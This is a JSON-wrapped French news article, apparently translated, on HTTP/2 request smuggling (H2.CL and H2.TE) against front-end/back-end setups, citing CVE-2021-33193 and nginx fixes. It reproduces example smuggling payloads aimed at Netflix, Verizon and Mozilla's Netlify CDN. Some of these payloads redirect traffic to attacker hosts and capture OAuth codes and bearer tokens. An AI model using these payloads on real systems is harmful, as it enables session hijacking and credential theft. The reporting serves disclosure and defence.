{"id":100934,"date":"2021-08-07T16:22:34","date_gmt":"2021-08-07T14:22:35","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy"},"modified":"2026-02-09T17:18:09","modified_gmt":"2026-02-09T15:18:09","slug":"novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","status":"publish","type":"post","link":"https:\/\/prohoster.info\/fr\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","title":{"rendered":"Nouvelle attaque sur les syst\u00e8mes front-end back-end, permettant d'intercaler des requ\u00eates","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Les syst\u00e8mes web, o\u00f9 le frontend accepte des connexions via HTTP\/2 et communique avec le backend via HTTP\/1.1, se r\u00e9v\u00e8lent vuln\u00e9rables \u00e0 une nouvelle variante de l'attaque \u00ab HTTP Request Smuggling \u00bb, qui permet, \u00e0 travers l'envoi de requ\u00eates clients sp\u00e9cialement format\u00e9es, de s'immiscer dans le contenu des requ\u00eates d'autres utilisateurs trait\u00e9es dans le m\u00eame flux entre le frontend et le backend. Cette attaque peut \u00eatre utilis\u00e9e pour ins\u00e9rer du code JavaScript malveillant dans une session avec un site l\u00e9gitime, contourner les syst\u00e8mes de limitation d'acc\u00e8s et intercepter les param\u00e8tres d'authentification. <\/p>\n

Le probl\u00e8me concerne les web-proxies, les \u00e9quilibres de charge, les web-acc\u00e9l\u00e9rateurs, les syst\u00e8mes de livraison de contenu et d'autres configurations o\u00f9 les requ\u00eates sont redirig\u00e9es selon le sch\u00e9ma frontend-backend. L'auteur de l'\u00e9tude a d\u00e9montr\u00e9 la possibilit\u00e9 d'une attaque sur des syst\u00e8mes tels que Netflix, Verizon, Bitbucket, Netlify CDN et Atlassian, et a re\u00e7u 56 000 dollars dans des programmes de r\u00e9compense pour la d\u00e9couverte de vuln\u00e9rabilit\u00e9s. La pr\u00e9sence du probl\u00e8me a \u00e9galement \u00e9t\u00e9 confirm\u00e9e dans les produits F5 Networks. Une partie du probl\u00e8me concerne mod_proxy dans le serveur http Apache (CVE-2021-33193), un correctif est attendu dans la version 2.4.49 (les d\u00e9veloppeurs ont \u00e9t\u00e9 inform\u00e9s du probl\u00e8me d\u00e9but mai et ont eu 3 mois pour le corriger). Dans nginx, la possibilit\u00e9 de sp\u00e9cifier simultan\u00e9ment les en-t\u00eates \u00ab Content-Length \u00bb et \u00ab Transfer-Encoding \u00bb a \u00e9t\u00e9 bloqu\u00e9e dans la derni\u00e8re version (1.21.1). Les moyens pour mener des attaques ont d\u00e9j\u00e0 \u00e9t\u00e9 ajout\u00e9s \u00e0 l'outil Burp et sont disponibles sous forme d'extension Turbo Intruder. <\/p>\n

Le principe de fonctionnement de la nouvelle m\u00e9thode d'insertion de requ\u00eates dans le trafic est similaire \u00e0 la vuln\u00e9rabilit\u00e9 identifi\u00e9e par le m\u00eame chercheur il y a deux ans, mais limit\u00e9e aux frontends acceptant des requ\u00eates via HTTP\/1.1. Rappelons que dans le sch\u00e9ma frontend-backend, les requ\u00eates des clients sont prises en charge par un n\u0153ud suppl\u00e9mentaire \u2014 le frontend \u2014 qui \u00e9tablit une connexion TCP persistante avec le backend, qui traite directement les requ\u00eates. \u00c0 travers cette connexion commune, les requ\u00eates de diff\u00e9rents utilisateurs sont g\u00e9n\u00e9ralement transmises, suivant une cha\u00eene les unes apr\u00e8s les autres, s\u00e9par\u00e9es par les moyens du protocole HTTP. <\/p>\n

L'attaque classique \u00ab HTTP Request Smuggling \u00bb reposait sur le fait que les frontaux et les arri\u00e8res-trains interpr\u00e8tent diff\u00e9remment l'utilisation des en-t\u00eates HTTP \u00ab Content-Length \u00bb (qui indique la taille totale des donn\u00e9es dans la requ\u00eate) et \u00ab Transfer-Encoding: chunked \u00bb (qui permet de transmettre des donn\u00e9es par morceaux). Par exemple, si le frontal ne supporte que \u00ab Content-Length \u00bb, mais ignore \u00ab Transfer-Encoding: chunked \u00bb, l'attaquant peut envoyer une requ\u00eate contenant simultan\u00e9ment les en-t\u00eates \u00ab Content-Length \u00bb et \u00ab Transfer-Encoding: chunked \u00bb, mais o\u00f9 la taille dans \u00ab Content-Length \u00bb ne correspond pas \u00e0 la taille de la cha\u00eene chunked. Dans ce cas, le frontal traitera et redirigera la requ\u00eate selon \u00ab Content-Length \u00bb, tandis que l'arri\u00e8re-train attendra la fin du bloc en fonction de \u00ab Transfer-Encoding: chunked \u00bb, et le reste de la requ\u00eate de l'attaquant se retrouvera au d\u00e9but d'une requ\u00eate \u00e9trang\u00e8re qui sera transmise ensuite. <\/p>\n

Contrairement au protocole textuel HTTP\/1.1, dont l'analyse se fait au niveau des lignes, HTTP\/2 est un protocole binaire et manipule des blocs de donn\u00e9es de taille sp\u00e9cifi\u00e9e \u00e0 l'avance. Dans HTTP\/2, des pseudo-en-t\u00eates sont utilis\u00e9s, correspondant \u00e0 des en-t\u00eates HTTP ordinaires. Lorsqu'il interagit avec le backend via le protocole HTTP\/1.1, le frontend traduit ces pseudo-en-t\u00eates en \u00e9quivalents des en-t\u00eates HTTP\/1.1. Le probl\u00e8me est que le backend prend des d\u00e9cisions d'analyse du flux uniquement sur la base des en-t\u00eates HTTP fournis par le frontend, sans avoir d'informations sur les param\u00e8tres de la requ\u00eate d'origine. <\/p>\n

Les valeurs \u00ab content-length \u00bb et \u00ab transfer-encoding \u00bb peuvent \u00e9galement \u00eatre transmises sous forme de pseudo-en-t\u00eates, m\u00eame si elles ne sont pas utilis\u00e9es dans HTTP\/2, car la taille de toutes les donn\u00e9es est d\u00e9termin\u00e9e dans un champ s\u00e9par\u00e9. Cependant, lors de la conversion d'une requ\u00eate HTTP\/2 en HTTP\/1.1, ces en-t\u00eates sont transf\u00e9r\u00e9s et peuvent induire le backend en erreur. Deux variantes principales d'attaque se distinguent : H2.TE et H2.CL, dans lesquelles le backend est tromp\u00e9 par une valeur incorrecte de transfer-encoding ou de content-length, ne correspondant pas \u00e0 la taille r\u00e9elle du corps de la requ\u00eate re\u00e7ue par le frontal selon le protocole HTTP\/2.

\"Nouvelle<\/center> <\/p>\n

\u00c0 titre d'exemple, l'attaque H2.CL consiste \u00e0 indiquer une taille incorrecte dans l'en-t\u00eate pseudo-content-length lors de l'envoi d'une requ\u00eate HTTP\/2 \u00e0 Netflix. Cette requ\u00eate entra\u00eene l'ajout d'un en-t\u00eate HTTP Content-Length similaire lors de l'appel au backend via HTTP\/1.1, mais comme la taille dans Content-Length est inf\u00e9rieure \u00e0 la taille r\u00e9elle, une partie des donn\u00e9es \u00e0 la fin est trait\u00e9e comme le d\u00e9but de la requ\u00eate suivante. <\/p>\n

Par exemple, la requ\u00eate HTTP\/2 :method\tPOST :path\t\/n :authority\twww.netflix.com content-length\t4 abcdGET \/n HTTP\/1.1 Host: 02.rs?x.netflix.com Foo: bar <\/p>\n

Tout cela conduira \u00e0 l'envoi d'une requ\u00eate au backend : POST \/n HTTP\/1.1 Host: www.netflix.com Content-Length: 4 abcdGET \/n HTTP\/1.1 Host: 02.rs?x.netflix.com Foo: bar <\/p>\n

Comme le Content-Length est de 4, le backend ne consid\u00e9rera comme corps de la requ\u00eate que \u00ab abcd \u00bb, tandis que le reste \u00ab GET \/n HTTP\/1.1\u2026 \u00bb sera trait\u00e9 comme le d\u00e9but d'une requ\u00eate suivante, rattach\u00e9e \u00e0 un autre utilisateur. Ainsi, il y aura une d\u00e9synchronisation du flux, et en r\u00e9ponse \u00e0 la requ\u00eate suivante, le r\u00e9sultat du traitement de la requ\u00eate factice sera d\u00e9livr\u00e9. Dans le cas de Netflix, l'indication d'un h\u00f4te externe dans l'en-t\u00eate \u00ab Host : \u00bb de la requ\u00eate factice a conduit \u00e0 l'envoi au client d'une r\u00e9ponse \u00ab Location : https:\/\/02.rs?x.netflix.com\/n \u00bb et a permis de transmettre au client un contenu arbitraire, y compris l'ex\u00e9cution de son code JavaScript dans le contexte du site Netflix. <\/p>\n

La deuxi\u00e8me variante de l'attaque (H2.TE) est li\u00e9e \u00e0 l'injection de l'en-t\u00eate \u00ab Transfer-Encoding : chunked \u00bb. L'utilisation de l'en-t\u00eate pseudo-transfer-encoding dans HTTP\/2 est prohib\u00e9e par la sp\u00e9cification, et les requ\u00eates contenant cet en-t\u00eate doivent \u00eatre trait\u00e9es comme non valides. Malgr\u00e9 cela, certaines impl\u00e9mentations front-end ne prennent pas cette exigence en compte et permettent l'utilisation de l'en-t\u00eate pseudo-transfer-encoding dans HTTP\/2, qui se transforme en un en-t\u00eate HTTP \u00e9quivalent. Lorsque l'en-t\u00eate \u00ab Transfer-Encoding \u00bb est pr\u00e9sent, le backend peut le consid\u00e9rer comme prioritaire et effectuer l'analyse des donn\u00e9es par morceaux en mode \u00ab chunked \u00bb en utilisant des blocs de tailles vari\u00e9es au format \u00ab {taille}\r\n{bloc}\r\n{taille}\r\n{bloc}\r\n0 \u00bb, malgr\u00e9 la s\u00e9paration initiale par la taille totale. <\/p>\n

Une telle faille a \u00e9t\u00e9 d\u00e9montr\u00e9e \u00e0 l'exemple de l'entreprise Verizon. Le probl\u00e8me concernait le portail d'authentification et du syst\u00e8me de gestion de contenu<\/a>, qui est \u00e9galement utilis\u00e9 sur des sites tels que Huffington Post et Engadget. Par exemple, la requ\u00eate du client en HTTP\/2 : :method\tPOST :path\t\/identitfy\/XUI :authority\tid.b2b.oath.com transfer-encoding\tchunked 0 GET \/oops HTTP\/1.1 Host: psres.net Content-Length: 10 x= <\/p>\n

A conduit for transmitting to the backend an HTTP\/1.1 request: POST \/identity\/XUI HTTP\/1.1 Host: id.b2b.oath.com Content-Length: 66 Transfer-Encoding: chunked 0 GET \/oops HTTP\/1.1 Host: psres.net Content-Length: 10 x= <\/p>\n

Le backend, \u00e0 son tour, a ignor\u00e9 l'en-t\u00eate \u00ab Content-Length \u00bb et a r\u00e9alis\u00e9 la s\u00e9paration en flux bas\u00e9e sur \u00ab Transfer-Encoding : chunked \u00bb. En pratique, cette attaque a permis de rediriger les requ\u00eates des utilisateurs vers son propre site, y compris de capturer les requ\u00eates li\u00e9es \u00e0 l'authentification OAuth, dont les param\u00e8tres apparaissaient dans l'en-t\u00eate Referer, ainsi que de simuler une session d'authentification et d'initier l'envoi des informations d'identification de l'utilisateur par le syst\u00e8me vers l'h\u00f4te de l'attaquant. GET \/b2blanding\/show\/oops HTTP\/1.1 Host: psres.net Referer: https:\/\/id.b2b.oath.com\/?\u2026&code=secret GET \/ HTTP\/1.1 Host: psres.net Authorization: Bearer eyJhcGwiOiJIUzI1Gi1sInR6cCI6Ik\u2026 <\/p>\n

Pour attaquer les impl\u00e9mentations HTTP\/2, qui n'autorisent pas l'indication de l'en-t\u00eate pseudo-transfer-encoding, une autre m\u00e9thode a \u00e9t\u00e9 propos\u00e9e, li\u00e9e \u00e0 l'injection de l'en-t\u00eate \u00ab Transfer-Encoding \u00bb par son attachement \u00e0 d'autres en-t\u00eates pseudo, s\u00e9par\u00e9s par un caract\u00e8re de nouvelle ligne (lors de la transformation en HTTP\/1.1, dans ce cas, deux en-t\u00eates HTTP distincts sont cr\u00e9\u00e9s). <\/p>\n

Par exemple, le probl\u00e8me mentionn\u00e9 a touch\u00e9 Atlassian Jira et Netlify CDN (utilis\u00e9 pour fournir la page d'accueil de Mozilla dans Firefox). En particulier, la requ\u00eate HTTP\/2 :method\tPOST :path\t\/ :authority\tstart.mozilla.org foo\tb\r\n transfer-encoding: chunked 0\r\n \r\n GET \/ HTTP\/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x= <\/p>\n

a conduit \u00e0 l'envoi vers le backend d'une requ\u00eate HTTP\/1.1 POST \/ HTTP\/1.1\r\n Host: start.mozilla.org\r\n Foo: b\r\n Transfer-Encoding: chunked\r\n Content-Length: 71\r\n \r\n 0\r\n \r\n GET \/ HTTP\/1.1\r\n Host: evil-netlify-domain\r\n Content-Length: 5\r\n \r\n x= <\/p>\n

Une autre fa\u00e7on de substituer l'en-t\u00eate \u00ab Transfer-Encoding \u00bb consiste \u00e0 l'associer au nom d'un autre pseudo-en-t\u00eate ou \u00e0 une ligne contenant la m\u00e9thode de requ\u00eate. Par exemple, lorsqu'on acc\u00e8de \u00e0 Atlassian Jira, le nom du pseudo-en-t\u00eate \u00ab foo: bar\r\ntransfer-encoding \u00bb avec la valeur \u00ab chunked \u00bb a entra\u00een\u00e9 l'ajout des en-t\u00eates HTTP \u00ab foo: bar \u00bb et \u00ab transfer-encoding: chunked \u00bb, tandis que l'indication dans le pseudo-en-t\u00eate \u00ab :method \u00bb avec la valeur \u00ab GET \/ HTTP\/1.1\r\nTransfer-encoding: chunked \u00bb \u00e9tait traduite par \u00ab GET \/ HTTP\/1.1\r\ntransfer-encoding: chunked \u00bb. <\/p>\n

Le chercheur ayant identifi\u00e9 le probl\u00e8me a \u00e9galement propos\u00e9 une technique de tunneling des requ\u00eates pour attaquer les frontaux, o\u00f9 pour chacun adresses IP<\/a> une connexion distincte est \u00e9tablie avec le backend et le trafic des diff\u00e9rents utilisateurs n'est pas m\u00e9lang\u00e9. La technique propos\u00e9e ne permet pas d'interf\u00e9rer avec les demandes d'autres utilisateurs, mais permet d'injecter un cache global qui influence le traitement d'autres demandes, et permet d'effectuer une substitution des en-t\u00eates HTTP internes, utilis\u00e9s pour transmettre des informations d'assistance du frontend au backend (par exemple, lors de l'authentification c\u00f4t\u00e9 frontend, des informations sur l'utilisateur actuel peuvent \u00eatre transmises au backend dans ces en-t\u00eates). \u00c0 titre d'exemple de l'application de la m\u00e9thode en pratique, un contr\u00f4le sur des pages dans le service Bitbucket a \u00e9t\u00e9 obtenu gr\u00e2ce \u00e0 l'injection de cache.
\n
Source : opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

Web-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043f\u043e HTTP\/2 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0431\u044d\u043a\u0435\u043d\u0434\u0443 \u043f\u043e HTTP\/1.1, \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043d\u043e\u0432\u043e\u043c\u0443 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0443 \u0430\u0442\u0430\u043a\u0438 «HTTP Request Smuggling», \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0445 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0432\u043a\u043b\u0438\u043d\u0438\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u043c\u044b\u0445 \u0432 \u0442\u043e\u043c \u0436\u0435 \u043f\u043e\u0442\u043e\u043a\u0435 \u043c\u0435\u0436\u0434\u0443 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434\u043e\u043c \u0438 \u0431\u044d\u043a\u0435\u043d\u0434\u043e\u043c. \u0410\u0442\u0430\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u043f\u043e\u0434\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e JavaScript-\u043a\u043e\u0434\u0430 \u0432 \u0441\u0435\u0430\u043d\u0441 \u0441 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":100935,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-100934","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Nouvelle attaque sur les syst\u00e8mes frontend-backend, permettant d'intercepter des demandes | ProHoster","description":"Les syst\u00e8mes web dans lesquels le frontend accepte des connexions via HTTP\/2 et les transmet au backend via HTTP\/1.1 sont devenus vuln\u00e9rables \u00e0 une nouvelle variante d'attaque appel\u00e9e \"HTTP Request Smuggling\", permettant d'envoyer des demandes sp\u00e9cialement format\u00e9es.","canonical_url":"https:\/\/prohoster.info\/fr\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"fr_FR","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u041d\u043e\u0432\u0430\u044f \u0430\u0442\u0430\u043a\u0430 \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434-\u0431\u044d\u043a\u0435\u043d\u0434, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u043a\u043b\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u044b | ProHoster","og:description":"Web-\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0444\u0440\u043e\u043d\u0442\u044d\u043d\u0434 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f \u043f\u043e HTTP\/2 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0431\u044d\u043a\u0435\u043d\u0434\u0443 \u043f\u043e HTTP\/1.1, \u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043d\u043e\u0432\u043e\u043c\u0443 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0443 \u0430\u0442\u0430\u043a\u0438 "HTTP Request Smuggling", \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0447\u0435\u0440\u0435\u0437 \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u043d\u044b\u0445.","og:url":"https:\/\/prohoster.info\/fr\/blog\/news\/novaya-ataka-na-sistemy-frontend-bekend-pozvolyayushhaya-vklinitsya-v-zaprosy","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2021-08-07T14:22:35+00:00","article:modified_time":"2026-02-09T15:18:09+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"100934","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-08-07 15:27:20","updated":"2026-02-09 15:18:09","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/posts\/100934","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/comments?post=100934"}],"version-history":[{"count":2,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/posts\/100934\/revisions"}],"predecessor-version":[{"id":158412,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/posts\/100934\/revisions\/158412"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/media\/100935"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/media?parent=100934"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/categories?post=100934"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/fr\/wp-json\/wp\/v2\/tags?post=100934"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}